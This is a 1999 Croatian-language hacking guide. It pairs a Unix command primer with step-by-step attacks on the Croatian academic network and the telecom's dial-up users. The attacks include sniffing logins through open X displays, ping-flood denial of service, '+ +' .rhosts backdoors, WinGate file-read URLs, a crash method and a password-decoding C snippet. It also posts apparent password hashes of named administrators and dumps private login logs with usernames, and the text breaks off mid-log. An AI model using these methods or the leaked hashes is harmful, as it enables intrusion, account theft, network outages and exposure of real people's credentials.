Inicio 13.05.1999 by ZEX (r) zexbig@usa.net ver 0.9 BETA Lady's and gentleman coming to you loud, live, and directly from the darkest deeps of your imagination. The HIT'S just keep coming..... Vodic kroz CARNet & HT (c) Disclaimer -------------- Ja nisam niti na koji nacin odgovoran za upotrebu ovog file-a. Koristeci ovaj file i citajuci njegov sadrzaj Vi prihvacate cinjenicu da svaku vrstu stete (emocionalnu, fizicku, gubitak podataka ili kraj svijeta kakav sad poznajemo ...) uzrokovanu koristenjem ili spremanjem ovog dokumenta izazivati sami i da JA nisam niti na koji nacin ODGOVORAN. Sva spoofanja su izvedena izmedu mashina na kojima sam imao legitimno root acces. Pretpostavljam da ono sto cete procitati necete zloupotrebljavati. Dakle evo malog poklona od mene cijeloj hack sceni u HR. ########################################################################################### `Sve informacije o #Project-X CreW mozete pronaci na web-u na adresi http://project-x.8m.com ili http://zex.webjump.com gR33tz g0eS t0... ********************************* * * * Ovaj dokumenat je nastao uz * * pomoc sljedecih ljudi: * * RiNO (nestao), Ncc-Warp9, * * Zvjer, cUTe, Blixa, fra, * * Warhead (zarobljen), ThoRny, * * SweZ, Lister, jammer, Smileyz,* * JoSepH (u zatvoru), HappyDay, * * RAMBO, Bl0rN, daemon9, coder, * * Solar Designer, Labrador, * * [MAd`MaX] i ostalih... * ********************************* Dakle sto cete naci u ovom dokumentu: 1. Opcenite upute u unixu ne bljezgarije nego UPUTE!! 2. Kako sniffati passwde na FER-u i dalje bez po muke 3. Kako pingom srusiti neki host 4. Kako napuniti logove na sistemu (pumpaj...) 5. Kako najlakse popusiti acc na jagoru 6. IRC 7. Wingate provale 8. GRASO (Ljubav jedne zene) 9. Moji najdrazi root-ovi na CARNet-u 10. Webovi 11. HOTMail odnosno kako uci na tudi acc 12. WWW kako napravit stranicu koja ce srusiti web browser 13. Spoofanje (laziranje) svog IP-a kroz wingate 14. Kako razbijati passworde na UNIX masinama. 15. Popis portova 16. Smurf (STRUMFOVIII) 17. Provale nad provalama (n'oubliez jamais...) 19. Firewall i metode za ocuvanje sigurnosti branjene mreze. 20. Webgais (just dont care) 21. Kako osigurati sebi root acces na sistemu za ubuduce nakon sto smo postali root 22. NCC-WARP9 feat. ZEX (U PAKLU ZAJEDNO...) 23. Simetrcni i asimtricni enkripcijski algoritmi... (ATLANTIS....) 1. UNIX upute Dakle kako je nastao unix Sve je to nastalo zbog Ken Tompson zbog njega mi se danas igramo.Covjek je radio 60-tih godina za Bell Labs. Poceo je koristeci MULTICS OS koji je kasnije eliminiran i Tompson je ostao bez OS-a na kojem bi radio. Tompson je morao napraviti nesto vrlo brzo.Proveo je neka istrazivnja i 1969 godine UNIX se pojavio vani,bio je to single user OS i nije imao previse mogucnosti.No uz pomoc nekih ljudi napravio je novu verziju u C-u i dodao neke nove mogucnosti. Ta verzija je izisla van 1973 godine. To je zapravo pocetak unix-a onkvga kakvog ga danas znamo. Malo poboljshana verzija UNIX-a, danas poznata kao system V razvijene je od strane Berkley University. razliciti tipovi unix-a su: Linux SunOS, CPIX,Berkeley Ver 4.1,Berkeley 4.2,FOS,Genix,HP-UX, IS/I,OSx,PC-IX,PERPOS,Sys3,Ultrix,Zeus,Xenix,UNITY,VENIX,UTS,Unisys,Uniplus+, UNOS,Idris,QNIX,Coherent,Cromix,System III,System 7,Sixth edition. Dakle na zahtjev nekih ljudi (grga) ukljucio sam u ovaj file i popis unix naredbi pa eto zabavljajte se. NAPOMENA: ove naredbe mozete naci i na sluzbenom CARNet-ovom webu: Neke cesto koristene naredbe i programi kod operativnog sustava UNIX: ar - arhiver at - izvodjenje naredbe u odredjeno vrijeme awk - jezik za trazenje i obradu uzoraka bash - korisnicka ljuska , Bourne Again SHell bc - kalkulator proizvoljne preciznosti biff - javlja korisniku da je stigao mail cal - ispis kalendara calendar - podsjetnik cat - ispis datoteke cc - C kompajler cd - promjena radnog direktorija chfn - promjena informacija o korisniku chmod - promjena prava prisutpa datoteci chown - promjena vlasnika datoteke chgrp - promjena grupe datoteke chsh - promjena inicijalne korisnicke ljuske clear - brisanje ekrana cmp - usporedba datoteka compress, uncompress - kopresira i odkompresira datoteke cp - kopiranje datoteke (ili direktorija) crypt - sifrira i desifrira datoteku csh - korisnicka ljuska u kojoj sintaksa podsjeca na C sintaksu date - ispis vremena i datuma dc - stolni kalkulator diff - usporedba datoteka tj. direktorija df, du - ispis statistike upotrebe diska echo - naredba za ispis elm - program za citanje i pisanje poste expr - racuna izraz find - trazi datoteku finger - daje informacije o korisniku from - ispis posiljaoca novopristigle poste ftp - program za prenos podataka gopher - naredba za rad s gopher servisom grep - trazi uzorak u datotekama gzip, gunzip - kompresira i odkompresira datoteku head - ispis prvih linija datoteke hostname - ispis imena tekuceg racunala id - ispisuje id broj korisnika i gid (id broj grupe) irc - naredba za rad s irc servisom joe - teksutalni editor kill - salje signal procesu (ako ne specificiramo signal ubija proces) ksh - korisnicka ljuska, Korn shell leave - alarm, podsjeca korisnika na vrijeme za odlazak line - cita liniju sa standardnog ulaza ln - stvara vezu s datotekom ili direktorijem lock - rezervira terminal, zakljucava terminal login - 'prikljucenje' na racunalo, pocetak rada logname - ispis korisnickog imena ls - ispis sadrzaja direktorija mail - program za slanje, citanje poste mailx - program za interaktivni rad s postom man - manual, prirucnik mesg - omogucava ili onemogucava slanje poruka od drugih korisnika mkdir - kreira direktorij more - ispis datoteke (ispis stane na svakoj stranici) mv - pomice datoteku ili direktorij netstat - prikazuje status mreze newgrp - prelazak u novu grupu nice - mjenja prioritet izvrsavanja nohup - cini naredbu imunu na prekide i odlogiranje nroff - program za formatiranje teksta od, xd - ispis datoteke oktalno, heksadecimalno passwd - promjena passworda (lozinke) pico - tekstualni editor pine - program za citanje i pisanje poste ps - ispis procesa pwd - ispis imena tekuceg direktorija quota - ispis upotrebe diska i ogranicenja za korisnika read - cita liniju sa standardnog ulaza rlogin - prijava za pocetak rada na udaljenom racunalu rm - brise datoteke rmdir - brise direktorij sed - sljedni tekstualni editor sh - korisnicka ljuska, Bourne shell sleep - odgadja izvrsenje za neko vrijeme sort - sortira datoteku spell - trazi i ispisuje gresku u spelovanju (za engleski jezik) stty - postavlja opcije za terminal su - postaje superuser ili neki drugi korisnik tail - ispis zadnjih linija datoteka talk - program za razgovor izmedju dvije osobe tar - arhiver za datoteke tcsh - korisnicka ljuska tee - kod pipe-a omogucava ispis na ekran i u datoteku telnet - korisnicko sucelje za TELNET protokol, rad s udaljenim racunalom time - mjeri vrijeme izvrsavanja naredbe tin - program za citanje i pisanje clanaka na USENET-u tn3270 - program za emulaciju 3270 terminala na tekstualnom terminalu tr - zamjenjuje znakove tset - incijalizacija terminala ttytype - program za identifikaciju terminala umask - ispis i postavljanje maske za kreiranje prava pristupa datotekama uname - ispis verzije i vrste operativnog sustava uniq - sprjecava ponavljanje istih linija kod ispisa uptime - ispis vremena rada racunala, broja korisnika i opterecenja users - ispis liste aktivnih korisnika uuencode, uudecode - programi za (de)kodiranje binarnih datoteka vi - ekranski orjentirani editor wall - slanje poruke svim aktivnim korisnicima wc - brojac rijeci, linija i znakova whereis - locira izvrsni program ili stranicu prirucnika (manuala) who - ispis liste aktivnih korisnika sistema whoami - ispis efektivnog id korisnika write - slanje poruke drugom korisniku wall - salje poruku svim korisnicima na sistemu xargs - kreira listu argumenata za drugu naredbu xv - program za prikazivanje slika (samo za graficki terminal) zsh - korisnicka ljuska Napomena: O ovim naredbama vise mozete doznati sa naredbom man $ man who $ man xargs $ man man a sad malo o permissionima odnosno chmodovima PITANJE: Kako mjenjati prava pristupa datoteci? ODGOVOR: UNIX racunala su visekorisnicka racunala cije resurse dijeli vise ljudi te se tu javlja problem zastite datoteka od neovlastenog citanja i mjenjanja. Datoteke i direktoriji se mogu zastiti s naredbom chmod. Naredba chmod mjenja prava pristupa datoteci (ili direktoriju). Sintaksa naredbe je: chmod Prava pristupa se odnose na: r - pravo citanja datoteke w - pravo mjenjanja datoteke (pisanje) x - pravo izvrsavanja datoteke i to za: vlasnika datoteke (u), grupe kojoj datoteka pripada (g), svih ostalih korisnika racunala (o) i *svih* korisnika racunala (a). Imamo dva nacina zadavanja prava pristupa datoteci: a) oktalni prikaz prava pristupa Kod ovog nacina prava pristupa se prikazuju s tri oktalne znamenke (brojevi od 0-7). Prva oktalna znamenka se odnosi na vlasnika, druga znamenka se odnosi na grupu kojoj datoteka pripada, a treca na sve ostale korisnike racunala. oktalna znamenka prava 0 --- 1 --x 2 -w- 3 -wx 4 r-- 5 r-x 6 rw- 7 rwx Primjer: chmod 764 unix.txt - daje vlasniku sva prava, grupi datoteke pravo citanja i pisanja, a svima ostalima samo pravo citanja. chmod 700 *.txt - sve *.txt datoteke cini nedostupne svima osim vlasnika (i sistem inzenjera) b) simbolicki prikaz prava pristupa u - vlasnik , g - grupa , o - ostali korisnici , a - *svi* chmod u+w,g-r *.c - vlasniku dodaje pravo pisanja, a grupi oduzima pravo citanja datoteka *.c Napomena: Prava prisutpa datotekama se mogu vidjeti naredbom ls -al. $ ls -al -rwxr-xr-- 1 damir student Nov 17 21:30 .cat drwx------ 2 damir gopher Nov 17 22:12 GOPHER -rw-r--r-- 1 damir student Nov 12 02:01 users.txt ^^^^^^^^^ ||||||||| - prava pristupa (vlasnika,grupe,ostalih) Npr. datoteku .cat korisnici koji nisu iz grupe student (osim njenog vlasnika: mozda on nije u toj grupi) mogu samo citati. Oni iz grupe student je mogu i izvrsavati, dok vlasnik (damir , bez obzira u kojoj je grupi) ima sva prava. Napomena: Za kreiranje prava pristupa kod 'novonasatalih' datoteka koristi se maska koju korisnik moze postaviti naredbom umask. Sintaksa naredbe umask je dosta slicna sintaksi naredbe chmod (samo sto su bitovi obrnuti) npr. umask 077 - oduzima sva prava svima osim vlasniku datoteke umask 022 - oduzima prava pisanja svima osim vlasniku datoteke Dakle ukoliko zelite da vase datoteke budu incijalno pri nastanku maksimalno zasticene u .profile (.bash_profile ili .login) stavite umask 077. . Dakle krenimo redom za sve vas koji neznate sto dobijete naredbom "who" citajte ovo oni koji znaju preskocite na sljedece poglavlje. Dakle ovo je popis par osnovnih UNIX naredbi (ne ne mislim na ls ako neznate sto je ls kog vraga onda ovo citate) dakle naredba"last" nam prikazuje tko se zadnji logirao na sustav pa ako napisete u shellu samo "last" sistem ce Vam ispisati sva logiranja od kad ih on biljezi pa savjetujem sljedece "last -10" to ce ispisati login-ove zadnjih 10 osoba koje su se logirale na sistem takoder cete dobiti i vrijeme kad su se te osobe logirale koliko dugo su bile logirane na sustavu. Ali ako nas zanima samo zadnjih 10 logiranja na nas acc onda nema smisla traziti po sistemskim logiranjima svoje ime nego treba napisati "last -10 login", onda cemo dobiti ispis zadnjih 10 logiranja na svoj acc. Ako nas zanima tko je trenutacno logiran na sistemu a to nas zanima pogotovo onda ako mislimo raditi nesto za sto znamo da root ne voli da mu se radi na sistemu poput krekanja password fileka, onda napisemo finger i dobijemo popis ljudi koji su logirani na sustavu. Ukoliko je na sustavu logirano vise od 25 korisnika onda necete sve vidjeti u telnetu ili na termu jer ce neki "pobjeci" onda napisite finger |more i ispisat ce Vam se samo prvih 25 ljudi, da bi vidjeli i ostale dovoljno je pritisnuti tipku space. Ako trazite odredeni login u tom ispisu onda pritisnite tipku "/" i upiste login koji trazite. Ako zelimo vidjeti podatke o nekom luzeru na sistemu onda "finger luzerlogin" Naredba "w" ce dati slicne rezultate kao i "who" s tom razlikom da ce ispisati i sto pojedini korisnik trenutno radi. Kako vidjeti sto koji korisnik radi na sistemu ?. Pa ustvari vrlo lako Ps naredbom ps dobijemo popis procesa. Ako zelimo vidjeti sto radi korisnik majmun onda na Solaris masinama napisemo "ps -fu majmun" na linuxu je to "ps -aux majmun" na Solaris masinama poput jagora postoje dva ps programa i to je ocito ono sto mnogi zaboravljaju u i zbog toga puse acc-e. Drugi sistemski ps se nalazi u direktoriju /usr/ucb/ps i sintaxa naredbe je ps -aux |grep majmun ovo grep sluzi tome da iz nekog popisa izdvoji samo ono sto mi trazimo u ovom slucaju sve linije koje sadrze rijec majmun. A sto je to TOP ? E to ti je sinko ono s cime ces dobiti kuglu medu oci. Ili ti naredba koja ispisuje trenutno opterecenje sustava. Kao i svaka druga unix naredba ima svoje "tipkice". Dakle dok je pokrenut top pritisnimo tipku "u" i top ce pitati "username to show?" mi napisemo majmun. Dakle bit ce prikazani procesi od korisnika ciji login upisemo i koliko svaki njegov proces trosi memorije i procesorksog vremena u % te koliko je dugo pokrenut. Ako pritisnemo tipku "s" top ce reci "Seconds to delay?" to znaci da ce top ako upisemo 5 prikazivati svakih 5 sekundi stanje sustava. Ali sto ako pritisnemo s i nakon tog 0 onda ce top cijelo vrijemo pokusavati prikazati sto brze moze stanje sustava. Obratite paznju na svoj login... Mislim da ce nakon par sekundi on trositi najvishe procesorskog vremena i proces koji se zove top, have fun. Ako u top-u pritisnemo tipku "k" top ce pitati za broj procesa koji zelimo ubiti. Tipkom q gasimo top. A naredba "kill -9 -1" ubija sve procese koje smo pokrenuli na sustavu i odlogirava nas sa sustava. A file permissioni su dozvole da drugi korisnici ili samo vi mozete citati svoje filove i idu nekako ovako File permissions su grupirani u tri razlicite skupine Ako linije pocinje sa slovom d onda je direktorij. - --- --- --- | | | |--------> Ostali = Bilo tko na masini moze pristupiti | | |------------> Group = Odredena grupa usera | |----------------> User = Samo vlasnik moze pristupiti |------------------> Oznaka za direktorij - rw- r-- r-- | | | |--------> Ostali mogu citati file | | |------------> Grupa usera moze citati samo file | |----------------> Vlasnik file-a moze ga citati i pisati po njemu |------------------> Nije direktorij - rwx rwx r-x | | | |--------> Drugi mogu citati i pokretati file | | |------------> Grupa moze citati pisati i pokretati file | |----------------> Vlasnik file-a moze citati pokretati i pisati po file-u |------------------> Nije direktorij e kako se logirati na sistem osim telnetom ? rloginom Osnovna naredba ide ovako rlogin hostname -l username connecting.... password: bash$ Bez obzira koliko slova vi postavili u svoj passwd samo prvih 8 ce biti koristeno dakle mozete imati password od 200 znakova na sistem vidi i koristi samo prvih 8. Ako se zelimo logirati na neki acc a da ne upisemo passwd onda moramo na neku foru na taj acc postaviti file koji se zove .rhosts i u njega upisati ime mashine i login s kojeg pristupamo tom acc-u bez passwd-a to napisemo ovako.. mashina.domena.hr login ako postavimo u file + + onda se moze od bilo kud logirati na taj acc bez passwd-a Taj file izgleda ovako ----- rezi ovdje ------ + + _____ rezi ovdje ------ gcc i kompaliranje fileova izgledaju ovako osnovna naredba je jednostavna gcc filename.c -o kakozelitedasezovefile ako zelimo kompajlirati file koji se zove z2.c onda pisemo ovo gcc z2.c -o zap Tako dobijemo executable file koji se zove zap. A ako napisem : gcc z2.c dobit cu file koji se zove a.out to je zapravo executable file i mogu ga preimenovati ovako mv a.out zap I sad imamo file koji se zove zap umjesto a.out 2. Snifaj mi ga njezno Dakle nije nam dovoljan samo jedan pass odnosno acc na sustavu pa bi htjeli par acc-ova na drugim mashinama recimo FER mashinama. Za one koji neznaju FER je skracenica od Fakultet elktrotehnike i racunarstva. E sad kako doci do logina i passwd-a na FER-u? Prije nego sto odgovorim na to pitanje mali vodic kroz fer mashine. Ono sto cemo najceshce sretati na fer-u su sljedece masine Ime IP fly.cc.fer.hr 161.53.70.130 pinus.cc.fer.hr 161.53.73.18 hep.tel.fer.hr 161.53.19.238 (na ovu masinu se moze logirati samo s neke druge FER masine) Dakle podimo redom po masinama, ono sto je zajednicko gore navedenim masinama je to da sve tri pogoni Solaris 5.6. Fly.cc.fer.hr je studentska masina za web stranice, ircanje, mudanje i slicne stvari. Ono sto je vazno za fly je to je netko od root-ova stalno on-line dakle netko stalno pazi na masinu i da detaljno citaju logove. Na fly-u ima dosta usera i ono sto je najvaznije nemoze se pratiti svakog usera tako da ima dosta prostora za fusharenje. Quota je 10MB link je dosta brz i sto je najvaznije ako Vam je 10 MB malo evo kako cete bypassati quotu, naime trebate naci direktorij od nekog drugog usera ali takav dir na koji je user stavio permissione 777 dakle rwxrwxrwx u prijevodu znaci sljedece r je read, w write, e execute prva tri slova se odnose na vlasnika dir-a druga tri na grupu kojoj on pripada a zadnja tri na sve ostale. Dakle kako naci dir s permissionim 777 ili rwxrwxrwx pa zapravo vrlo jednostavna potrebno je samo upotrijebiti naredbu find sintaxa za trazenje dira je sljedeca find / -perm 777 >nekifile.txt | | | | |____ovo sluzi zato da sve direktorije spremi u file zvan nekifile | | | |__koji permission trazimo | | |_____ sto trazimo u ovom slucaju permission | |___________________________ direktorij u kojem pocinje trazenje | ime naredbe svi nadeni direktoriji bit ce spremljeni u file koji se zove nekifile.txt. Ili mozemo i tako da odemo u neki direktorij recimo /home/stud na jagoru ili /home/skol pa napisemo ls -al |grep drwxrwxrwx i ispisat ce nam se imena home dirova s permisionom 777 dakle read write execute svima. I sto kad dobijemo popis direktorija ??? E pa sljedece kad se oducimo gdje cemo smjestit svoje dodatne filove koji nam inace ne stanu u home dir u kojem imamo quotu onda u dir tog korisnika napravimo svoj direktorij i obavezno stavimo kao prvi znak imena naseg dira . da bi to bio hidden dir da ga on ne bi odmah pronasao i obrisao. Naravno stavimo permissione 700 tako da samo mi mozemo uci u taj dir. Ako zelite mozete napraviti u svome home diru neki direktorij i linkati ga na onaj kod nekog drugog user to postizemo s naredbom ln -s /home/mojdir /home/nesto/tudidir E sad da se vratimo na sniffanje naime ako neznate evo Vam jedna korisna informacija, sve stanice na u holu FER-a koje najcesce koriste studenti imaju po defaultu postavljen xhost + tako da kad se studenti telnetiraju na neku mashinu da mogu pokretati s nje programe poput netscape ili xv-a. Ili u prijevodu to znaci da vi mozete sebu u shellu stavit recimo setenv DISPLAY galium.cc.fer.hr:0.0 i napisete li netscape pokrenut cete netscape samo ne sebi na display nego na galium.cc.fer.hr. Galium je naime ime jedne od stanica koje sluze studentima u holu FER-a. Imena svih stanica su sljedeca: galium.cc.fer.hr linum.cc.fer.hr abies.cc.fer.hr iris.cc.fer.hr salix.cc.fer.hr viscum.cc.fer.hr crosum.cc.fer.hr thymus.cc.fer.hr E sad ima jedan mali zgodni programcic koji se zove xspy i sluzi tome da biljezi ono sto pisu oni koji imaju stavljen xhost + pa recimo tako kad se netko logira na neku mashinu onda on i to zabiljezi. xspy kompajliran za Sun OS 5.6 mozete skinuti s http://zex.webjump.com sintaxa naredbe ide ovako xspy -display galium.cc.fer.hr:0.0 >nekifile sve jasno ?!?!?!? Ako nije nije to niti vazno od tebe i ovako i onako nikad nista. 3. Ping (moja ljubav iz rane mladosti) Dakle ocemo skinuti nekog bisera s neta jer eto ne svida nam se njegov IP ili iz tako nekog slicnog bistrog razloga i sta onda napravimo. Pa recimo telnetiramo se na jagora, fly, ili neku slicnu jacu mashinu koju smo nasniffali pa kazemo ping -s 121.212.212.121 65000 | | | |_velicina ping paketa | | |_ IP od onog kog rusimo | |_Pingaj dok ne pritisnem ctrl +c | |_Ime naredbe E sad malo teorije na kom principu zapravo radi ping ? pa ping je diagnosticki alat koji nam govori kakva je veza izmedu naseg i nekog kompjutera na mrezi radi na tom principu da posalje na neki IP odredeni broj bajtova i onda ceka da se oni vrate s tog IP i onda ako se vrati od 100 poslanih bajtova samo 50 onda je veza poprilicno slaba. No kad mi posaljemo nekom luzeru koji je na net spojem modemom od 33600 bajtova 65000 u sekundi i to neprekidno ponavljamo normalno da ce se njemu strasno usporiti veza toliko usporiti da nece moci nista raditi i na kraju ce mu puknuti veza. Malo kratko i slatko, no kao i uvijek u zivotu draga moja djeco postoji neki ali. Naime admistratori odnosno root-ovi ne vole da se to radi.... jer ping moze potpuno zagusiti vezu izmedu CARNet-a i HT-a. Pa stoga redovito pregledavaju logove i one koji su koristili ping na nedolican nacin kaznjavaju tako sto im zalockaju acc. Naravno ako je acc tudi to je onda njegov problem a ne nas ( divno je biti licemjer). Zato danas imamo grasu (nesto nize opsirnije o njemu). 4. SSH (nema vishe snjifkanja....) Dakle sto je to ssh? ssh je direktna zamjena za telnet napravljena je zato da hackeri ne bi mogli snifati passwde od ljudi koji se ulogiravaju negdje.. npr ovako... a90-p34-zg.tel.hr => interScape.403-security.org [23] USER bhz PASS #astral ----- [FIN] Sve vise i vise siteova koristi ssh zbog rastuce prijetnje hackera. Naravno da server na koji se zelite spojiti mora imati ssh deamon pokrenut. Nedavno se pricalo o nekom bugu u ssh ali ekipa sa www.rootshell.com koju su provalili "nepoznati" hackeri, nikad nije uspjela dokazati postojanje nekog stvarnog buga u ssh-u, unatoc tome sto se digla velika medijska prasina. Ssh clinet za windose nazalost nije free kao onaj za unixe ali se moze naci na http://zex.webjump.com zajedno sa crackom. 5. Dakle kako najlakse popusiti acc na jagoru ping -s pc-alex.srce.hr 65000 ili poshaljite fakemail na root@jagor.srce.hr 6. IRC Dakle IRC sto je to pa svima Vama koji neznato sto je to naredujem da smjesta zbrisete ovaj file jer ovo nije za vas definitivno!!! A za one koji znaju sto je to pocnimo s objasnjenjima. Prvo IRC je mjesto gdje mozete procavrljati s ljudima ali i razmjenit iskustva. Drugo ima jedan kanal koji se zove #Project-X i nadasve je zanimljvo mjesto. Trece povijest #Project-X je duga i nadasve zanimljiva, jer je kanal osnovan s zamisli da bude konkurencija #croatia kanalu i nekolicini drugih jesmo li u tome uspjeli ostavljamo drugima mladim generacijama da odluce o tome cinjenica je da smo trenutno no:2 ali malo posla ostavljamo i onima koji dolaze poslije nas. Naravno otvoreni smo za sve vrste suradnje i kontakata (uglavnom prema zenskim osobama {grudima}) ali nisu ni druge vrste seksualne opredljenosti zapustene sto samo pokazuje da smo jako liberarni. Project-X je osnovan u omiljenom svratistu ircera u Zg-u u pivnici Medvedgrad na Savskoj cesti, na inicijativu Thorny-a sakupili su se svi ljudi koji su na carnetovim irc serverima imali svoje neke male kanale na kojima je konstantno bilo 5-6 ljudi dosli su owneri tih kanala u pivnicu i onda smo prionili glasanju o imenu kanala glavnom botu te koji ce bot biti registriran i tako to. Naravno trebalo je zaliti osushena grla nakon svakog glasa. I tako smo osnovali kanal i poceli se igrati po CARNet-u. To je bio pocetak lavine koju smo pokrenuli i koja se i dalje kotrlja. Takoder toplo Vam savjetujem da posjetite web stranice kanala #Project-X na adresi http://project-x.8m.com, tamo mozete postaviti pitanja project-x posadi i vrlo brzo cete dobiti odgovre na pitanja koja vas zanimaju. 7. Wingate 3.0 Provale Dakle u ovoj nasoj dezeli ima dosta komjutera mreznih kartica i tako tog a nitko ne bi placao racune HT-u pa bi svi spojili 20 kompjutera na jedan modem i za to koriste program koji se zove Wingate. Ali posto nista na ovom svijetu nije savrseno pa ni gore navedeni wingate, tako postoje i rupe u (siru) cijeloj toj prici, naime decki koji su radili wingate su se trudili da on bude siguran ali eto nisu se dovoljno potrudili. Pa stog danas mozemo sljedece uciniti na wingate 3.0 : citati bilo koji file sa sistema, srusiti wingate i naravno doznati administratov passwdord na wingate mashini. Ajmo od pocetka: Kako citati filove koje ne bi smjeli s necijeg tudeg wingate-a. http://www.server.com:8010/c:/ - NT/Win9x http://www.server.com:8010// - NT/Win9x http://www.server.com:8010/..../ - Win9x Svaki od gore navedenih URL-a (Uniforme Resource Locator) ce izlistati sve filove sa wingate mashine. Po defaultu svi wingate servisi su podeseni tako da ih se moze koristiti samo sa localhosta odnosno 127.0.0.1 osim..... log file service. On je podesen tako da mu se moze pristupiti i izvana dakle ne samo sa lokalne mreze. Nisam siguran zasto su decki koji su razvijali wingate u setings po defaultu ostavili opciju browse enabled. Vjerojatno nisu misli na cijeli hard disk... No ajmo dalje... Kako skrsiti wingate mashinu. Pa zapravo vrlo jednostavno..... Dovoljno je na wingate mashini WinSockRedirectoru koji sjedi po deafaultu na portu 2080 poslati 2000 znakova i disconnectati se. Svi wingate servisi ce se srusiti..... Ajmo sime dalje...... Kako doci do administrator passworda na wingate mashini. Vrlo jednostavno zapravo ovako.... _____________________________________________________________ // ChrisA@eEye.com // Mike@eEye.com #include "stdafx.h" #include #include main(int argc, char *argv[]) { char i; for(i = 0; i < strlen(argv[1]); i++) putchar(argv[1][i]^(char)((i + 1) << 1)); return 0; } ________________________________________________________________________ You get the idea... A kako zastiti svoj wingate od ovakvih napadaja?!?!? Vrlo jednsotavno zapravo: bug 1 fixamo tako da pokrenemo wingate keepera odemo pod user service double klik na log file service kad se otvori propertis kliknemo na bindings i kliknemo pored "Connection will be accepted on on the following interface only i upisemo u kucicu "127.0.0.1" kliknemo na ok pa na save i to je to. Arivas..... bug 1 sreden BUG 2 Winsock redirectoru samo promjenimo port na kojem sjedi pa nek napadac onda trazi na kom je portu winsock redirector Pokrenemo wingate keepera opet pa klik na system service pa onda double klik na winsock redirector i promjenimo broj porta. Napomena: Svim programima koji korsite winsock redirector trebat ce reci koji je broj porta. BUG 3 ........... 8. Graso (Ljubav jedne zene tece mi kroz vene.. {Ljubav puno paketa tece mi kroz router}) Dakle imao sam milijun puta pitanje a sto je to graso..... I svaki put bi rekao da mi ne dosaduju ali eto njih za pet minuta s istim pitanjem samo drukcije formuliranim. E pa sad evo Vam odogovora. Graso je tipican DoS (Denial Of Service) program s jednom bitnom razlikom od ostalih, grasho skrshi mashinu ali nigdje ne ostaje nikakav log niti na mashini s koje smo ga pokrenuli a mashina koja je skrshena ima josh manje u logovima da budemo precizni nema nishta!!! Grasho radi putem udp protokola dakle salje udp pakete prema hostu koji napada i to salje MAXIMALNO koliko masina s koje je pokrenut moze poslati dakle sto brzi link ima masina to bolje (odnosno gore po napadnutog). Kao samo primjer sto moze uciniti grasho evo par podataka. U roku od 5 minuta moguce je zablokirati cijeli CARNet (treba grashi malo vremenada se covjek raspjeva jel'te). Isto toliko vremena treba za srusiti Hinet-ove DNS servere. Otprilike treba oko 2 minute za zablokirati neku domenu tako da joj vise nitko ne moze pristupiti ni na koji nacin. A sto se tice spaljivanja routera to ne bih savjetovao (router onda ispusta neugodne mirise po spaljenoj plastici). I sve to bez ikakvih tragove (i tko kaze da nema savrsenih stvari na ovom svijetu). Ono sto je najgore kod takvih napada je to da ne pomaze nikakav firewall niti bilo sto slicno jer se zapravo nema sto blokirati, prilikom napadaja moguce je odabrati bilo koji port i to je zapravo sve sto treba ucinit. Recimo jos da u source-u je moguce promjeniti sve od velicine paketa do sadrzaja samog paketa (ja sam mali alex) u skorije vrijeme ocekuje se verzija koja ce spoofati (lazirati) IP adresu s koje se salju paketi. A ako napadate nekoga na HT recimo na hostu ac1-p12-zg.tel.hr onda svima onima koji su spojeni na HT na routeru ac1 modem kaze "klik you are disconnected" pa si ti misli sto se dogada. Umjesto da padne jedan njih 50 bude disconectano. E sad bilo bi jelte previshe perverzno da ja Vama dam grashu jer bi posljedice po internet u Hrvatskoj bile porazne (da ne govorimo koliko se ljudi zeli osvetiti HT-u za sve one silne telefonske racune). Pa cemo ovako grasho nije za svakog i bilo i tesko bi bilo procjeniti tko ce ga znati koristiti i tko zna kakve posljedice graso moze izazvati. Te sam stog odlucio da graso ne ide nikome! 9 Moji najdrazi root-ovi na CARNet-u Eh najdrazi su mi root-ovi koji se brinu za odrzavanje stroja jagor.srce.hr Te im ovim putem saljem lijepe pozdrave i svaka cast na poslu koji obavljaju. Malo je masina koje su tako dobro odrzavane poput stroja jagor.srce.hr. Na toj masini skoro da nema nikakvih bugova i slicnog koji nisu pokrpani u roku ODMAH. Definitivno masina na koju je najteze provaliti. Decki & cure koji odrzavaju jagora su sljedeci dobrisa:6jDJIyfY2b8qU:10057:::::: cigaly:T45nif8sI2xdc:9798:::::: hana:D4xXGH/Qp.7fo:10109:::::: alex:NI1Gnup03ARPU:10008:::::: dzagar:YOcHATvV4bYIE:10049:::::: anamaria:vY1H2uLDnBDWI:9804:0:0:::: ddelija:G68tdBe3XqtJY:10007:0:0:::: miro:bCOf2fSc5qD3Q:9518:::::: darija:2l2ViNW/bPqjg:9539:::::: nevenko:.eZq01wsf6Fro:9296:::::: ivan:CH.8i2eQqfl1M:9843:::::: zoran:d8kInshCyjx8Q:9902:0:0:::: nenad:Ze22phviTCJGo:10008:0:0:::10317: velimirv:y18bDqz3flo2E:9591:::::: mviljac:6DyjM6GxKjeBo:9524:::::: vrba:o.zWIvxnXxsEc:10190:0:0::182:18386 Dakle moj najdrazi root je definitivno miro covjek koji odlockava zalockane acc-e njemu idete na razgovor kad Vam zalockaju acc. Zatim je dave, covjek ima "zanimljiv" home page pogledajte ga na adresi http://jagor.srce.hr/~dave ah da btw pogledajte u dir /home/srce/dave na jagoru sto ima zanimljiva [zex@jagor] [~] 1 > [zex@jagor] [~] 1 > cd /home/srce/dave [zex@jagor] [/home/srce/dave] 1 > cd tmp [zex@jagor] [/home/srce/dave/tmp] 1 > ls badjuju/ pcap/ cr provaljeni dak r.doc dupli report ge sshs kernel.leak wuf/ kmastat.boot wuftpd_2.4.2beta18-1_solaris2.6.pkg missing-packages zakljucani.log [zex@jagor] [/home/srce/dave/tmp] 1 > more dak Log s jagora: Apr 9 21:15:43 jagor.srce.hr in.telnetd[7515]: connect from dakirin@jagor.srce.hr Apr 9 21:15:50 jagor.srce.hr login[7520]: login from jagor.srce.hr as bisakovi Apr 9 21:22:29 jagor.srce.hr in.telnetd[8529]: connect from dakirin@localhost Apr 9 21:22:44 jagor.srce.hr login[8533]: 1 LOGIN FAILURE from localhost, vkos Apr 9 21:22:48 jagor.srce.hr login[8533]: login from localhost as mkranjec Apr 9 21:22:56 jagor.srce.hr in.telnetd[8566]: connect from dakirin@localhost Apr 9 21:23:17 jagor.srce.hr login[8569]: 1 LOGIN FAILURE from localhost, savidmar Apr 9 21:23:34 jagor.srce.hr in.telnetd[8605]: connect from dakirin@localhost Apr 9 21:23:57 jagor.srce.hr login[8608]: 1 LOGIN FAILURE from localhost, vmarin Apr 9 21:24:10 jagor.srce.hr login[8608]: 1 LOGIN FAILURE from localhost, iguina Apr 9 21:24:14 jagor.srce.hr login[8608]: login from 